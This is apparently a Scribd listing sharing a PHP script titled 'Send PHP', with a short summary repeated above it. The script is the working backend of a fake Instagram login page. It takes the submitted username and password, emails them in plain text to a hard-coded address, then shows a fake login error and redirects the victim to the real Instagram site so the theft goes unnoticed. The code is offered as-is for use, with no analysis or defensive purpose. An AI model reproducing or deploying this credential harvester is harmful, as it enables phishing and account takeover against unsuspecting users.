0% found this document useful (0 votes)
5 views

Send PHP

This PHP code checks for a username and password submitted through a form, sends an email with the credentials if they are entered, and redirects the user to Instagram with an error message if login fails or if fields are empty.

Uploaded by

leohalllak
Copyright
© © All Rights Reserved
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
5 views

Send PHP

This PHP code checks for a username and password submitted through a form, sends an email with the credentials if they are entered, and redirects the user to Instagram with an error message if login fails or if fields are empty.

Uploaded by

leohalllak
Copyright
© © All Rights Reserved
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 1

<?

php

// Variable settings
$username = $_POST['u_name'] ?? ''; // Fetch username (using null coalescing
operator)
$passcode = $_POST['pass'] ?? ''; // Fetch password (using null coalescing
operator)

$subject = "Someone Login ! Insta Dummy page";


$to = "[email protected]";

$txt = "Username: " . $username . "\r\nPassword: " . $passcode; // Email body (i)
username [break] (ii) password;

// Check input fields


if (!empty($username) and !empty($passcode)) {

mail($to, $subject, $txt);


echo "<script type='text/javascript'>alert('Error ! Unable to login ');
window.location.replace('https://www.instagram.com');
</script>";

} else {

echo "<script type='text/javascript'>alert('Please enter correct username or


password. Try again ');
window.history.go(-1);
</script>";
}
?>

You might also like